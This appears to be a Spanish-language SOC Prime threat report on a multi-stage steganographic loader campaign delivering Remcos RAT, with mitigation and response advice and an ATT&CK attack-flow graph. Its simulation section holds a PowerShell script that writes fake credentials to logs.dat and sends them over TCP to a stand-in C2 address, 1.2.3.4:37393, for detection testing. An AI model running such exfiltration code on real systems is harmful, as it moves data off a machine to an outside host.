Una campaña de cargador esteganográfico multi-etapa que despliega cargas útiles diversas en todo el mundo

SOC Prime Team

Seguir

Una campaña de cargador esteganográfico multi-etapa que despliega cargas útiles diversas en todo el mundo

Detection stack

AIDR
Alert
ETL
Query

Informe de Amenazas
Flujo de Ataque
Detecciones
Simulaciones

Resumen

Una campaña de malware multi-etapa utiliza esteganografía y ejecución en memoria para entregar múltiples cargas útiles, incluido Remcos RAT. La cadena de infección comienza con un correo electrónico de phishing que lleva un archivo malicioso que descarga un ejecutable .NET. Ese ejecutable utiliza recursos incrustados y métodos esteganográficos para cargar etapas posteriores directamente en la memoria, ayudando al malware a evitar la detección basada en disco.

Investigación

La investigación comenzó después de que la telemetría marcara un archivo sospechoso llamado GST Debit Note Apr_26.com. Los analistas determinaron que el archivo era un ejecutable .NET de 32 bits empaquetado disfrazado como un juego. Un análisis inverso posterior reveló esteganografía incrustada en un objeto Bitmap .NET, que ocultaba el cargador de la siguiente etapa, Optimax.dll, y le permitía ejecutarse completamente en memoria.

Mitigación

Las organizaciones deben implementar un fuerte filtrado de correo electrónico para bloquear archivos adjuntos de archivos sospechosos e intentos de phishing. Las soluciones EDR deben ser capaces de detectar la ejecución en memoria, el vaciado de procesos y el comportamiento sospechoso de PowerShell. Los equipos también deben monitorear cambios no autorizados en el registro, especialmente en las claves de Run, y aplicar un control estricto de aplicaciones para evitar el lanzamiento de ejecutables no firmados.

Respuesta

Los puntos finales afectados deben ser aislados inmediatamente para limitar el movimiento lateral y el robo de datos. Los investigadores deben realizar informática forense de memoria para identificar componentes sin archivos y confirmar la presencia del Remcos_Mutex_Inj mutex. También se debe realizar una revisión completa para verificar la persistencia no autorizada en el directorio AppData y las claves de Run del registro, mientras que las credenciales deben ser restablecidas para cualquier usuario cuyos navegadores puedan haber sido accedidos por el malware.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing["Action – Phishing: Spearphishing Attachment Details: Malicious archive GST Debit Note Apr_26.com sent to victims."] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego["Obfuscated Files or Information: Steganography Details: Hiding Optimax.dll inside a serialized .NET Bitmap object within the executable resource section."] class evasion_stego technique exec_appdomain["Hijack Execution Flow: AppDomainManager Details: Using reflection and AppDomain.Load to execute payload directly from memory without touching disk."] class exec_appdomain technique %% Second Stage loader_stage2["Process Injection: Process Hollowing Details: System Optimizer Ultimate.dll deploys final payload by hollowing a default browser process."] class loader_stage2 technique malware_remcos["Remcos RAT Description: Remote Access Trojan deployed as the final payload."] class malware_remcos malware %% Persistence and Evasion evasion_sandbox["Virtualization/Sandbox Evasion Details: Checking for sbiedll.dll and registry keys to detect sandboxes or virtual machines."] class evasion_sandbox technique persistence_active["Boot or Logon Autostart Execution: Active Setup Details: Copying malware to AppDataRoaming and configuring a Run registry key for persistence."] class persistence_active technique %% Collection and Exfiltration collect_browser["Browser Information Discovery Details: Collecting Chrome and Firefox credentials."] class collect_browser technique steal_cookies["Steal Web Session Cookie Details: Capturing active web session cookies."] class steal_cookies technique exfil_c2["Exfiltration Over C2 Channel Details: Sending captured data from logs.dat to the attacker via Command and Control."] class exfil_c2 technique file_logs["logs.dat Description: Local file used to store

Flujo de Ataque

Narrativa del Ataque & Comandos: El adversario ha logrado establecer un punto de apoyo. Para completar el objetivo, recopilan telemetría del sistema y la guardan en un archivo llamado logs.dat para hacerse pasar por registros del sistema estándar. Luego, el adversario inicia una conexión de red hacia la infraestructura C2 establecida (usando la IP 1.2.3.4 y el puerto 37393 para esta simulación) para exfiltrar los datos. Esto imita el comportamiento de un cargador esteganográfico intentando mover los datos fuera de la red a través de un canal específico y codificado.

Script de Prueba de Regresión:

# Simulación de Exfiltración de Datos a través de nombre de archivo específico y parámetros C2
$C2_IP = "1.2.3.4" # IP de C2 simulada
$C2_PORT = 37393
$FILENAME = "logs.dat"

# 1. Crea el archivo de datos 'malicioso'
Write-Output "Datos Sensibles: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"

# 2. Simula la conexión de red al C2
# Usando un Cliente TCP para forzar la telemetría del puerto/IP específico
try {
    $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
    $stream = $client.GetStream()
    $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
    $stream.Write($data, 0, $data.Length)
    $client.Close()
} catch {
    Write-Host "Conexión fallida (Esperado si la IP no existe), pero la telemetría debería ser capturada por el firewall."
}

Comandos de Limpieza:

# Elimina el archivo malicioso simulado
Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue

Únete a la plataforma Detection as Code de SOC Prime para mejorar la visibilidad de las amenazas más relevantes para tu negocio. Para ayudarte a comenzar y obtener valor inmediato, programa una reunión ahora con los expertos de SOC Prime.

Únete gratis